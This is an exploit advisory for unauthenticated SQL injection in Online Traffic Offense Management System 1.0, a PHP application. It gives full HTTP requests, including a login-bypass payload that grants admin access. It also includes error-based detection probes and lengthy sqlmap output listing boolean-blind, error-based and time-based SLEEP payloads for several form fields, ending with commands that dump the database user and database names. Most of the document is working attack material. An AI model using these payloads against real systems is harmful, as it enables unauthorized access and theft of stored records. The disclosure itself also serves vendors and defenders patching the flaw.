# Exploit Title: Online Traffic Offense Management System 1.0 - Multiple SQL Injection (Unauthenticated) # Date: 07/10/2021 # Exploit Author: Hubert Wojciechowski # Contact Author: snup.php@gmail.com # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html # Version: 1.0 # Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 ### SQL Injection # All requests can be sent by both an authenticated and a non-authenticated user # Example vulnerable pages and parameters: * http://localhost/traffic_offense/classes/Users.php Parameters: - id - firstname - lastname - username * http://localhost/traffic_offense/classes/Login.php Parameters: - username - password * http://localhost/traffic_offense/*/&id=1 [all pages where the id parameter is present] Parameters: - id * http://localhost/traffic_offense/classes/Master.php Parameters: - id - date_created - ticket_no - status - offense_id - fine - code - name ----------------------------------------------------------------------------------------------------------------------- # POC ----------------------------------------------------------------------------------------------------------------------- ## Example 1 # Login request generate sql injection error POST /traffic_offense/classes/Login.php?f=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 30 Origin: http://localhost Connection: close Referer: http://localhost/traffic_offense/admin/login.php Cookie: PHPSESSID=5vr3fm16tmrncov6j4amftftmi Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin username=xxxx'&password=xxxx2' ----------------------------------------------------------------------------------------------------------------------- # Response HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 12:31:03 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 X-Powered-By: PHP/7.4.23 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 265 Connection: close Content-Type: text/html; charset=UTF-8
Notice: Trying to get property 'num_rows' of non-object in C:\xampp\htdocs\traffic_offense\classes\Login.php on line 22
{"status":"incorrect","last_qry":"SELECT * from users where username = 'xxxx'' and password = md5('xxxx2'') "} ----------------------------------------------------------------------------------------------------------------------- # Exploitable request - login parameter can be any value POST /traffic_offense/classes/Login.php?f=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 47 Origin: http://localhost Connection: close Referer: http://localhost/traffic_offense/admin/login.php Cookie: PHPSESSID=5vr3fm16tmrncov6j4amftftmi Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin username=admin&password=xxxx')+or+'1'='1'+and+('1 ----------------------------------------------------------------------------------------------------------------------- # Response HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 12:24:50 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 X-Powered-By: PHP/7.4.23 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 {"status":"success"} ----------------------------------------------------------------------------------------------------------------------- Logged as admin account ----------------------------------------------------------------------------------------------------------------------- ## Example 2 # Sql injection detection on the example of pages with the id parameter # Login request generate sql error - add ' next to the id parameter GET /traffic_offense/admin/offenses/view_details.php?id=3' HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/traffic_offense/admin/?page=offenses/manage_record Cookie: PHPSESSID=2nkvkfftfjckjeqfkt6917vnu7 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin #Response from database - sql error HTTP/1.1 200 OK Date: Thu, 07 Oct 2021 03:56:37 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 X-Powered-By: PHP/7.4.23 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 7837 Connection: close Content-Type: text/html; charset=UTF-8 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''3''' at line 1 SELECT r.*,d.license_id_no, d.name as driver from `offense_list` r inner join `drivers_list` on r.driver_id = d.id where r.id = '3''
Notice: Trying to get property 'num_rows' of non-object in C:\xampp\htdocs\traffic_offense\admin\offenses\view_details.php on line 10

Notice: Trying to get property 'num_rows' of non-object in C:\xampp\htdocs\traffic_offense\admin\offenses\view_details.php on line 16 [...] # Request - add '' next to the id parameter GET /traffic_offense/admin/offenses/view_details.php?id=3'' HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/traffic_offense/admin/?page=offenses/manage_record Cookie: PHPSESSID=2nkvkfftfjckjeqfkt6917vnu7 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin # Response did not return an error - sql injection confirmed HTTP/1.1 200 OK Date: Thu, 07 Oct 2021 03:58:40 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 X-Powered-By: PHP/7.4.23 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 7214 Connection: close Content-Type: text/html; charset=UTF-8

[...] ----------------------------------------------------------------------------------------------------------------------- ## Example 3 # Using sqlmap on an intercepted request http://localhost/traffic_offense/classes/Master.php POST /traffic_offense/classes/Master.php?f=save_offense_record HTTP/1.1 Origin: http://localhost Content-Length: 1598 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Sec-Fetch-Site: same-origin Host: localhost:80 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Connection: close X-Requested-With: XMLHttpRequest Sec-Fetch-Mode: cors Cookie: PHPSESSID=2nkvkfftfjckjeqfkt6917vnu7 Referer: http://localhost/traffic_offense/admin/?page=offenses/manage_record&id=1 Content-Type: multipart/form-data; boundary=---------------------------7900788429998101281579901385 Sec-Fetch-Dest: empty -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1* -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00* -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1* -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1* -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652* -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3* -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001* -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- # Using the sqlmap utility C:\Users\Hubert\Desktop\sqlmapproject-sqlmap-24e3b6a>sqlmap.py --level=5 --risk=3 --dbms=MySQL -r C:\Users\Hubert\Desktop\0day\sql2 --proxy=http://127.0.0.1:8090 ___ __H__ ___ ___[']_____ ___ ___ {1.5.9.6#dev} |_ -| . [)] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 05:52:47 /2021-10-07/ [05:52:47] [INFO] parsing HTTP request from 'C:\Users\Hubert\Desktop\0day\sql2' custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Multipart-like data found in POST body. Do you want to process it? [Y/n/q] [05:52:51] [INFO] testing connection to the target URL [...] --- Parameter: MULTIPART #4* ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652' RLIKE (SELECT (CASE WHEN (8015=8015) THEN '' ELSE 0x28 END)) AND 'howi'='howi -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652' AND (SELECT 4940 FROM(SELECT COUNT(*),CONCAT(0x7162626b71,(SELECT (ELT(4940=4940,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'zvbh'='zvbh -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652' AND (SELECT 7241 FROM (SELECT(SLEEP(5)))rEqK) AND 'CONm'='CONm -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Parameter: MULTIPART #5* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3' AND 4015=4015 AND 'mPLR'='mPLR -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3' AND (SELECT 6830 FROM(SELECT COUNT(*),CONCAT(0x7162626b71,(SELECT (ELT(6830=6830,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pbeA'='pbeA -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3' AND (SELECT 5446 FROM (SELECT(SLEEP(5)))QMKi) AND 'GfhC'='GfhC -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Parameter: MULTIPART #6* ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001' RLIKE (SELECT (CASE WHEN (7186=7186) THEN '' ELSE 0x28 END)) AND 'rwJI'='rwJI -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001' AND (SELECT 2971 FROM(SELECT COUNT(*),CONCAT(0x7162626b71,(SELECT (ELT(2971=2971,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'OeqR'='OeqR -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001' AND (SELECT 5527 FROM (SELECT(SLEEP(5)))GfWJ) AND 'GtGB'='GtGB -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Parameter: MULTIPART #2* ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1' RLIKE (SELECT (CASE WHEN (8485=8485) THEN '' ELSE 0x28 END)) AND 'CyNe'='CyNe -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1' AND (SELECT 6653 FROM(SELECT COUNT(*),CONCAT(0x7162626b71,(SELECT (ELT(6653=6653,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'tCsu'='tCsu -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1' AND (SELECT 6178 FROM (SELECT(SLEEP(5)))CQxQ) AND 'MljD'='MljD -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Parameter: MULTIPART #3* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1' AND 5855=5855 AND 'broT'='broT -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1' AND (SELECT 9644 FROM(SELECT COUNT(*),CONCAT(0x7162626b71,(SELECT (ELT(9644=9644,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'zaBh'='zaBh -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="date_created" 2021-08-18T15:00 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="ticket_no" 12345678 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="driver_id" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_id" OFC-789456123 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="officer_name" George -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="status" 1 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 1' AND (SELECT 4422 FROM (SELECT(SLEEP(5)))wQes) AND 'GuRX'='GuRX -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 652 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="offense_id[]" 3 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="fine[]" 1001 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="total_amount" 1651 -----------------------------7900788429998101281579901385 Content-Disposition: form-data; name="remarks" Sample -----------------------------7900788429998101281579901385-- [...] # Dump user, used database, all databases on the server using sqlmap C:\Users\Hubert\Desktop\sqlmapproject-sqlmap-24e3b6a>sqlmap.py --level=5 --risk=3 -r C:\Users\Hubert\Desktop\0day\sql2 --dbms=MySQL --current-user --current-db --dbs --batch [...] [06:06:23] [INFO] testing MySQL [06:06:23] [INFO] confirming MySQL [06:06:24] [WARNING] reflective value(s) found and filtering out [06:06:24] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.4.48, PHP 7.4.23 back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) [06:06:24] [INFO] fetching current user [06:06:24] [INFO] resumed: 'root@localhost' current user: 'root@localhost' [06:06:24] [INFO] fetching current database [06:06:24] [INFO] retrieved: 'traffic_offense_db' current database: 'traffic_offense_db' [06:06:24] [INFO] 